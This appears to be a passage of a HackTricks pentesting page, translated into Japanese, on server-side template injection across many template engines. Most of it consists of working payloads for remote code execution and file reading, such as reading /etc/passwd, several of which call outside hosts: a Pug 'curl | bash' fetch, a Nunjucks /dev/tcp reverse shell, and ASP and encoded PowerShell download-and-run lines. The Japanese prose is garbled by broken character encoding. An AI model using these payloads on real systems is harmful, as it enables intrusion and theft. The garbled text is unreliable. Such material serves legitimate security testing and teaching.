#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
詳现æ å ±
- https://portswigger.net/research/server-side-template-injection ã® Jade ã»ã¯ã·ã§ã³
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jadeâcodepen
patTemplate (PHP)
patTemplate éã³ã³ãã€ã«åã® PHP ãã³ãã¬ãŒããšã³ãžã³ã§ãXML ã¿ã°ã䜿çšããŠããã¥ã¡ã³ããè€æ°ã®éšåã«åå²ããŸã
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
詳现æ å ±
Handlebars (NodeJS)
Path Traversal (詳ãã㯠here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = ãšã©ãŒ
- ${7*7} = ${7*7}
- ãªã
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
詳现æ å ±
JsRender (NodeJS)
| ãã³ãã¬ãŒã | 説æ |
|---|---|
| åºåãè©äŸ¡ããŠã¬ã³ããªã³ã°ãã | |
| HTML ãšã³ã³ãŒããããåºåãè©äŸ¡ããŠã¬ã³ããªã³ã°ãã | |
| ã³ã¡ã³ã | |
| and | ã³ãŒããèš±å¯ããïŒããã©ã«ãã§ã¯ç¡å¹ïŒ |
- = 49
ã¯ã©ã€ã¢ã³ããµã€ã
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
ãµãŒããŒãµã€ã
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
詳现æ å ±
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
ãµãŒããŒãµã€ãã¬ã³ããªã³ã°ã®äŸ
var pugjs = require("pug")
home = pugjs.render(injected_page)
詳现æ å ±
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = åºåãªã
- #{7*7} = #{7*7}
- {{console.log(1)}} = ãšã©ãŒ
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
詳现æ å ±
NodeJS ã®åŒãµã³ãããã¯ã¹ (vm2 / isolated-vm)
äžéšã®ã¯ãŒã¯ãããŒãã«ããŒã¯ Node ãµã³ãããã¯ã¹ (vm2, isolated-vm) å
ã§ãŠãŒã¶ãŒå¶åŸ¡ã®åŒãè©äŸ¡ããŸãããåŒã®ã³ã³ããã¹ãã this.process.mainModule.require ãé²åºãããŸãŸã«ãªã£ãŠããããšããããŸããããã«ããæ»æè
㯠child_process ãããŒãã㊠OS ã³ãã³ããå®è¡ã§ããå°çšã® âExecute Commandâ ããŒããç¡å¹åãããŠããŠãåæ§ã§ã:
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
ãã®ä»ã® NodeJS
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- 詳现ã¯ãã¡ã: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
詳现æ å ±
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
詳现æ å ±
ãã®ä»ã® Ruby
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- 詳现㯠https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756 ãåç §
Python
Python ã§ arbitrary command execution bypassing sandboxes ã«é¢ããããªãã¯ãåŠã¶ã«ã¯ã次ã®ããŒãžã確èªããŠãã ãã:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
詳现æ å ±
Jinja2 (Python)
Jinja2 㯠Python åãã®æ©èœè±å¯ãªãã³ãã¬ãŒããšã³ãžã³ã§ããå®å šãª Unicode ãµããŒããæã¡ãä»»æã§çµ±åããããµã³ãããã¯ã¹å®è¡ç°å¢ããããåºã䜿ãããŠãã BSD ã©ã€ã»ã³ã¹ã§ãã
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - ãã³ãã¬ãŒã圢åŒ
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE not dependant from __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Jinjaãæªçšããæ¹æ³ã®è©³çް:
ãã®ä»ã®payloads㯠https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
詳现æ å ±
ãã®ä»ã® Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NET ã® System.Diagnostics.Process.Start ã¡ãœããã¯ããµãŒãäžã§ä»»æã®ããã»ã¹ãèµ·åããããã«äœ¿çšã§ãããã®çµæ webshell ãäœæã§ããŸããè匱㪠webapp ã®äŸã¯ https://github.com/cnotin/RazorVulnerableApp ã«ãããŸãã
詳现æ å ±
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= äœã衚瀺ãããªã<%= response.write(date()) %>= <æ¥ä»>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
詳现æ å ±
.Net å¶éã®åé¿
.NET Reflection mechanisms 㯠blacklisting ã®åé¿ã assembly ã«ã¯ã©ã¹ãååšããªãå Žåãåé¿ããããã«å©çšã§ããŸããDLLâs 㯠runtime ã«ããŒãã§ããbasic objects ãã methods ã properties ã«ã¢ã¯ã»ã¹å¯èœã§ãã
Dllâs ã¯æ¬¡ã®ããã«ããŒãã§ããŸã:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- from filesystem.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- directly from request.
å®å šãªã³ãã³ãå®è¡:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
詳现æ å ±
Mojolicious (Perl)
perlã§ãã£ãŠããRubyã®ERBã®ãããªã¿ã°ã䜿çšããŸãã
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
Goã®templateãšã³ãžã³ã§ã¯ããã®äœ¿çšã確èªããããã«ä»¥äžã®ãããªç¹å®ã®ãã€ããŒãã䜿çšã§ããŸã:
{{ . }}: ããŒã¿æ§é ã®å ¥åã衚瀺ããŸããäŸãã°ãPassword屿§ãæã€ãªããžã§ã¯ããæž¡ãããå Žåã{{ .Password }}ããããé²åããå¯èœæ§ããããŸãã{{printf "%s" "ssti" }}: æåå âsstiâ ã衚瀺ãããã¯ãã§ãã{{html "ssti"}},{{js "ssti"}}: ãããã®ãã€ããŒãã¯ãâhtmlâ ã âjsâ ã远å ããã« âsstiâ ãè¿ãã¯ãã§ãã远å ã®ãã£ã¬ã¯ãã£ã㯠Go ã®ããã¥ã¡ã³ãã§ç¢ºèªã§ããŸã here.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
text/template ããã±ãŒãžã§ã¯ããã€ããŒããçŽæ¥æ¿å
¥ããããšã§ XSS ãæ¯èŒç容æã«çºçããŸãã察ç
§çã« html/template ããã±ãŒãžã¯ãããé²ãããã«ã¬ã¹ãã³ã¹ããšã³ã³ãŒãããŸãïŒäŸïŒ{{"<script>alert(1)</script>"}} 㯠<script>alert(1)</script> ã«ãªããŸãïŒãããã§ããGoã§ã®ãã³ãã¬ãŒãå®çŸ©ãšåŒã³åºãã¯ãã®ãšã³ã³ãŒãã£ã³ã°ãåé¿ã§ããŸãïŒ {{define âT1â}}alert(1){{end}} {{template âT1â}}
vbnet Copy code
RCE Exploitation
html/template ãš text/template ã§ã¯ RCE ã®å¯èœæ§ã倧ããç°ãªããŸããtext/template ã¢ãžã¥ãŒã«ã§ã¯ïŒâcallâ å€ã䜿ã£ãŠïŒä»»æã®å
¬é颿°ãçŽæ¥åŒã³åºãããšãå¯èœã§ãããhtml/template ã§ã¯èš±å¯ãããŠããŸããããããã®ã¢ãžã¥ãŒã«ã®ããã¥ã¡ã³ã㯠here for html/template ãš here for text/template ã«ãããŸãã
Go ã«ããã SSTI ãä»ãã RCE ã§ã¯ããªããžã§ã¯ãã®ã¡ãœãããåŒã³åºããŸããäŸãã°ãæž¡ããããªããžã§ã¯ãã«ã³ãã³ããå®è¡ãã System ã¡ãœãããããã°ã{{ .System "ls" }} ã®ããã«æªçšã§ããŸããéåžžã¯ãããæªçšããããã«ãœãŒã¹ã³ãŒããžã®ã¢ã¯ã»ã¹ãå¿
èŠã§ããäŸã®ããã«:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
詳现æ å ±
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Preprocessor)
LESS ã¯å€æ°ãmixinsãfunctionsããããŠåŒ·å㪠@import ãã£ã¬ã¯ãã£ãã远å ãã人æ°ã®ãã CSS ããªããã»ããµã§ããã³ã³ãã€ã«äžã« LESS ãšã³ãžã³ã¯ @import ã¹ããŒãã¡ã³ãã§åç
§ããããªãœãŒã¹ãååŸãã(inline) ãªãã·ã§ã³ã䜿çšãããŠããå Žåã¯ãã®å
容ãçæããã CSS ã«åã蟌ã¿ïŒâinlineâïŒãŸãã
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
ãã®ä»ã®Exploits
ããå€ãã®ãšã¯ã¹ããã€ãã«ã€ããŠã¯ãhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection ã確èªããŠãã ããããŸããè峿·±ãã¿ã°æ å ±ã¯ https://github.com/DiogoMRSilva/websitesVulnerableToSSTI ã§èŠã€ããããšãã§ããŸãã
BlackHat PDF
é¢é£æ å ±
åèã«ãªãå Žåã¯ã以äžãåç §ããŠãã ããïŒ
ããŒã«
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force æ€åºãªã¹ã
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
åèæç®
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf â HTB: Editor (XWiki SolrSearch Groovy RCE â Netdata ndsudo privesc)
- XWiki advisory â
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


